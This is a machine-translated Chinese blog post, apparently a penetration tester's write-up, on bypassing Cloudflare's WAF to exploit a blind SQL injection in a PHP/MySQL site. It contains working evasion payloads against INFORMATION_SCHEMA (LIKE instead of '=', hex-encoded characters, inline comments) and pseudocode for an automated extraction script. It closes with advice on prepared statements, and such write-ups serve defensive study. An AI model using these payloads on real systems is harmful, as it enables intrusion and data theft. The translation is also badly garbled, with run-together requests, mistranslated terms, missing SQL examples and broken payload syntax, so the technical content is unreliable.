我是如何绕过Cloudflare的SQL注入过滤器的

2020-09-19 03:16:11

2018年末,我的任务是为一个大型客户端执行Web应用程序安全评估。在使用自动化工具运行标准扫描后,出现了一些有趣的事情:可能存在无法使用该工具利用的SQL注入。原因:CloudFlare的WAF,更具体地说,是它的SQL注入过滤器。

该应用程序是一个用PHP编写的通用网站,MySQL作为后台数据库管理系统。易受攻击的页面向/index.php终结点提交了包含多部分窗体bodydata的POST请求。老实说,我不记得表格的用法了,这对写作来说真的无关紧要。POST请求如下所示:

POST/index.php HTTP/1.1Host:*连接:关闭接受-编码:gzip,压缩接受:*/*内容类型:多部分/表单-数据;boundary=dc30b7aab06d4aff91d4285d7e60d4f3--dc30b7aab06d4aff91d4285d7e60d4f3Content-Disposition:表单-数据;名称=";126";#--dc30b7aab06d4aff91d4285d7e60d4f3Content-Disposition:表单-数据;名称=";127";##--dc30b7aab06d4aff91d4285d7e60d4f3Content-Disposition:Form-Data;名称=";Form_id";X-MARK--dc30b7aab06d4aff91d4285d7e60d4f3Content-Disposition:表单数据;name=";96";#--dc30b7aab06d4aff91d4285d7e60d4f3.Content-Disposition:表单数据;名称=";115[]";#--dc30b7aab06d4aff91d4285d7e60d4f3Content-Disposition:表单数据;名称=";125";#--dc30b7aab06d4aff91d4285d7e60d4f3--。

X-Mark处的未清理参数可用于在SQL SELECT查询的WHERE子句的位置注入任意值。例如,如果以上数据作为POST请求的正文发送,则在服务器上执行的SQL查询将如下所示:

这种注入通常使用的技术是基于时间的BlindSQL注入。问题是,云焰会识别出这些类型的投射,并当场阻止它们。无论我试图进行多么复杂的查询,也不管我使用了多少sqlmap篡改脚本,Cloudflare始终在那里。

为了解决这个问题,我使用了在对同一请求手动测试SQL注入时所做的观察:我注意到,当我尝试注入代码时,会产生类似以下SQL查询的结果:

Web服务器响应状态为200 OK。当我尝试注入导致类似此SQL查询的代码时:

换句话说,当后端的SQL查询没有返回结果时,Web服务器就会抱怨并崩溃(可能是因为后端代码试图访问返回列表中索引超出范围的项)。这给了我一个想法:编写一个脚本,将从所需DBMS实体的名称中挑选的字符与所有字符进行顺序比较。其想法是,如果两个字符匹配,服务器将返回200OK状态,否则将返回500Internal Server error状态,并且我将不得不将请求的字符与mylist中的下一个字符进行比较。

我的想法是,如果a想要查找第五个表的名称的第一个第二个字符(它们在INFORMATION_schema.tables中列出),我将首先询问MySQL该字符是否等于‘a’,如果不等于,我将继续使用‘b’、‘c’等。我将首先注入以下字符串(用于与‘a’进行比较):

SELECT c1,c2,c3 from t1 WHERE';a';=(SELECT SUBSTRING(TABLE_NAME,2,1)FROM INFORMATION_SCHEMA。表格限制4,1)。

例如,当我发现表名是t1时,我将使用以下开始注入来暴力强制其列的名称:

';a';=(SELECT SUBSTRING(COLUMN_NAME,1,1)FROM INFORMATION_SCHEMA。TABLE_NAME=";T1";LIMIT 0,1)的列。

然后通过以下注入开始从表T1的列C1实际获得值:

这个想法很好,但Cloudflare会抱怨‘=’标志。注射用。

会被Cloudflare的WAF阻挡。在稍加修改之后,我提出了以下绕过‘=’限制的请求:

';A';LIKE(SELECT SUBSTRING(COLUMN_NAME,1,1)FROM INFORMATION_SCHEMA)。TABLE_NAME=";T1";LIMIT 0,1)的列

注射剂1仍未准备就绪。CloudFlare仍然会抱怨一些东西,更具体地说是注射。

仍然会被阻止,不是因为LIKE关键字,而是因为‘a’字符。不允许将纯字符串与任何内容进行比较。为了克服这个问题,我想出了下面的注射方法,但没有被晶片检测到:

上面的注入将字符‘a’作为十六进制编码值‘0x61’发送,该值仍然允许它工作:

';0x61';LIKE(SELECT SUBSTRING(COLUMN_NAME,1,1)FROM INFORMATION_SCHEMA)。TABLE_NAME=";T1";LIMIT 0,1)的列。

我必须注册的第三个混淆是在SQL查询关键字之间添加多行注释。CloudFlare会阻止如下查询:

';0x61';LIKE(SELECT/*TICK COMMENT*/SUBSTRING(COLUMN_NAME,1,1)from/*Tick Comment*/INFORMATION_SCHEMA)。TABLE_NAME=";T1";LIMIT 0,1)的列。

上述注入是其最终形式,当作为表单值传递给易受攻击的Web应用程序时,如果字符‘a’与第一列名称tablet1的第一个字符匹配,则Web服务器将回复200 OK。

为了使从应用程序的数据库中检索表内容变得更容易,我用Python编写了一个脚本来自动执行该过程。脚本的伪代码如下所示:

#断言列名和表名已知字母表=[a,b,c,...,y,z]CharacterPosition=1#我们为[0,20]中的rowNumber强制使用的字符位置:对于ColumnName in column:对于字母表中的字符:sqlInjection=';';0x{hex_encode(Character)}Like(SELECT/*TRICK COMMENT*/SUBSTRING({column nName},CharacterPosition,1)from/*TRICK COMMENT*/tableName Limit{rowNumber},1)';';';Inject sqlInjection是POST请求正文IF RESPONSE。STATUS==200:RESULT+=具有Character Position++ELIF响应的字符递归函数。状态==500:继续字母表返回结果中的下一个字符。

这就是我绕过Cloudflare WAF的SQL注入保护的方式。我买了一件T恤,还在云焰之角找到了一个位置。

减轻数据库SQL注入的最安全方法是准备语句。它们出现在大多数语言的大多数数据库交互库中。您可以在OWASP上找到减少SQL注入的完整方法列表。我认为,如果开发人员小心地在他们的应用程序上应用安全措施,WAF在大多数情况下是不必要的。您所需要做的就是对用户的输入进行适当的清理。